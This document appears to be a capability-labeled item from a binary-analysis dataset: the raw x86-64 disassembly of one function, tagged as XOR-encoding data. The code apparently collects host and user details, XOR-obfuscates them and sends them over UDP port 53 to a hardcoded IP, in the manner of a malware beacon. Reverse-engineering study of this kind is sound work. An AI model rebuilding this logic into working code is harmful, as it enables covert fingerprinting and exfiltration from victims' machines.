Function at 0x180008100
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2f0]
sub rsp, 0x3f0
mov rax, qword [0x1800a5f88]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
mov edi, 2
mov r15, rcx
mov edx, edi
mov ecx, edi
xor r8d, r8d
call qword [0x18004f540]
xor ebx, ebx
mov word [rsp + 0x70], di
lea ecx, [rdi + 0x33]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x78], rbx
call qword [0x18004f5b0]
mov word [rsp + 0x72], ax
xor eax, eax
mov qword [rbp + 0xe0], rax
mov word [rbp + 0xe0], 0xf787
mov byte [rbp + 0xe5], 1
mov byte [rbp + 0xe2], 1
mov dword [rsp + 0x74], 0x5ccb4a6d
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rax
call qword [0x18004f0d8]
mov ecx, eax
mov dword [rsp + 0x64], eax
mov r12d, eax
mov byte [rbp + 0xec], al
mov byte [rbp + 0xed], 3
call qword [fcn.18004f7d8]
mov esi, ebx
call qword [0x18004f7e0]
mov r8d, eax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 7
sub r8d, ecx
movsxd r13, r8d
lea r14, [r13 + 2]
test r14, r14
jle 0x180008272
mov edi, ebx
nop
call qword [0x18004f7e0]
test al, 1
je 0x18000822d
call qword [0x18004f7e0]
mov ecx, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add ecx, 0x61
jmp 0x18000824e
call qword [0x18004f7e0]
mov ecx, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add ecx, 0x41
mov byte [rbp + rdi + 0x38], cl
inc rdi
cmp rdi, r14
jl 0x180008200
mov rdx, rbx
nop dword [rax]
movsx ecx, byte [rbp + rdx + 0x38]
add esi, 0xffffffc1
add esi, ecx
inc rdx
cmp rdx, r14
jl 0x180008260
mov eax, 0x4ec4ec4f
imul esi
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + 0x41]
mov byte [rbp + r14 + 0x38], al
movsx eax, dl
imul ecx, eax, 0x1a
lea rax, [r13 + 4]
sub sil, cl
add sil, 0x61
mov byte [rbp + r13 + 0x3b], sil
cmp rax, 0x22
jae 0x1800086b1
mov byte [rbp + rax + 0x38], bl
lea r9, [rbp + 0x38]
mov eax, dword [r15 + 0x30]
lea r8, [0x1800502e8]
mov dword [rsp + 0x50], eax
lea rcx, [rbp + 0x60]
mov eax, dword [0x180060810]
mov edx, 0x2a
mov dword [rsp + 0x48], eax
mov eax, dword [0x18006080c]
mov dword [rsp + 0x40], eax
mov eax, dword [r15 + 0xc]
mov dword [rsp + 0x38], eax
mov eax, dword [r15 + 8]
mov dword [rsp + 0x30], eax
mov eax, dword [r15 + 4]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r15
call fcn.1800086d0
mov rdi, 0xffffffffffffffff
lea rax, [rbp + 0x60]
mov rsi, rdi
nop
inc rsi
cmp byte [rax + rsi], bl
jne 0x180008310
mov r8, rsi
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0xee]
call fcn.18004c372
add esi, 0xe
mov dword [rsp + 0x60], 0x20
movsxd rax, esi
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x38]
inc esi
mov byte [rbp + rax + 0xe0], 0x2c
call qword [0x18004f0e8]
lea r14, [0x1800502e0]
test eax, eax
jne 0x180008371
mov rcx, rbx
movzx eax, byte [rcx + r14]
mov byte [rbp + rcx + 0x38], al
lea rcx, [rcx + 1]
test al, al
jne 0x180008360
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x20
lea rcx, [rbp + 0xb8]
call qword [section.sect_1]
test eax, eax
jne 0x1800083b1
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx + r14]
mov byte [rbp + rcx + 0x38], al
lea rcx, [rcx + 1]
test al, al
jne 0x1800083a0
xor edx, edx
lea rcx, [rbp - 0x7c]
mov r8d, 0x90
call fcn.18004c378
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x94
call qword [0x18004f0e0]
test eax, eax
je 0x1800083fc
mov eax, dword [rbp - 0x74]
lea r8, [0x180050304]
mov r9d, dword [rbp - 0x7c]
lea rcx, [rbp + 0x90]
mov edx, 0x20
mov dword [rsp + 0x20], eax
call fcn.180008730
jmp 0x180008414
mov rcx, rbx
nop
movzx eax, byte [rcx + r14]
mov byte [rbp + rcx + 0x90], al
lea rcx, [rcx + 1]
test al, al
jne 0x180008400
xor eax, eax
mov r9, rdi
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rax
mov word [rbp + 0x30], ax
lea rax, [rbp + 0x38]
nop dword [rax]
inc r9
cmp byte [rax + r9], bl
jne 0x180008430
lea rcx, [rbp + 0xb8]
mov rax, rdi
inc rax
cmp byte [rcx + rax], bl
jne 0x180008443
cmp r9d, eax
mov r10d, eax
mov r14d, ebx
cmovge r10d, r9d
test r10d, r10d
jle 0x1800084da
movsxd r12, eax
mov r11, rbx
mov r13d, 0x2d
nop dword [rax]
mov rax, r11
lea r8, [rbp + 0x20]
and eax, 0xf
add r8, rax
mov eax, r14d
cdq
idiv r9d
movsxd rax, edx
movsx ecx, byte [rbp + rax + 0x38]
mov rax, r12
and rax, r11
movsx eax, byte [rbp + rax + 0xb8]
xor ecx, eax
movsx eax, byte [r8]
add ecx, eax
mov eax, 0xb60b60b7
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x5a
sub ecx, eax
add cl, 0x21
cmp cl, 0x2c
movzx eax, cl
cmove eax, r13d
inc r14d
inc r11
mov byte [r8], al
cmp r14d, r10d
jl 0x180008470
mov r12d, dword [rsp + 0x64]
lea rcx, [rbp + 0x20]
dec rcx
cmp byte [rcx + 1], bl
lea rcx, [rcx + 1]
jne 0x1800084e1
movzx eax, word [0x18005030c]
mov r14, rdi
mov word [rcx], ax
lea rax, [rbp + 0x20]
nop dword [rax + rax]
inc r14
cmp byte [rax + r14], bl
jne 0x180008500
movsxd rax, esi
lea rcx, [rbp + 0xe0]
add rcx, rax
lea rdx, [rbp + 0x20]
mov r8, r14
call fcn.18004c372
add esi, r14d
mov r14, rdi
movsxd rax, esi
inc esi
mov byte [rbp + rax + 0xe0], 0x57
movsxd rax, esi
inc esi
mov byte [rbp + rax + 0xe0], 0x2c
lea rax, [rbp + 0x90]
nop dword [rax]
inc r14
cmp byte [rax + r14], bl
jne 0x180008550
movsxd rax, esi
lea rcx, [rbp + 0xe0]
add rcx, rax
lea rdx, [rbp + 0x90]
mov r8, r14
call fcn.18004c372
mov r9d, dword [r15 + 0x14]
lea r8, [0x180050310]
add esi, r14d
mov ecx, 0x5250
movsxd rax, esi
mov edx, 0x20
inc esi
cmp dword [r15 + 0x10], ebx
mov byte [rbp + rax + 0xe0], 0x2c
mov eax, 0x4541
cmove cx, ax
movsxd rax, esi
add esi, 2
mov word [rbp + rax + 0xe0], cx
lea rcx, [rbp + 0x60]
movsxd rax, esi
inc esi
mov byte [rbp + rax + 0xe0], 0x2c
mov eax, dword [r15 + 0x24]
mov dword [rsp + 0x38], eax
mov eax, dword [r15 + 0x20]
mov dword [rsp + 0x30], eax
mov eax, dword [r15 + 0x1c]
mov dword [rsp + 0x28], eax
mov eax, dword [r15 + 0x18]
mov dword [rsp + 0x20], eax
call fcn.1800086d0
lea rax, [rbp + 0x60]
nop
inc rdi
cmp byte [rax + rdi], bl
jne 0x1800085f0
movsxd rax, esi
lea rcx, [rbp + 0xe0]
add rcx, rax
lea rdx, [rbp + 0x60]
mov r8, rdi
call fcn.18004c372
add esi, edi
movzx eax, r12b
shl eax, 0x18
movsxd rdx, eax
xor rdx, 0x31cd3377
lea eax, [rsi - 0xd]
movsxd r8, eax
test eax, eax
jle 0x180008657
nop
movzx eax, dx
imul rcx, rax, 0x4650
sar rdx, 0x10
add rcx, rdx
mov eax, ecx
mov edx, ecx
shr eax, 8
xor byte [rbp + rbx + 0xed], al
inc rbx
cmp rbx, r8
jl 0x180008630
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x70]
mov dword [rsp + 0x28], 0x10
lea rdx, [rbp + 0xe0]
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov r8d, esi
call qword [0x18004f528]
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.18004a7e0
lea r11, [rsp + 0x3f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18004afc8
int3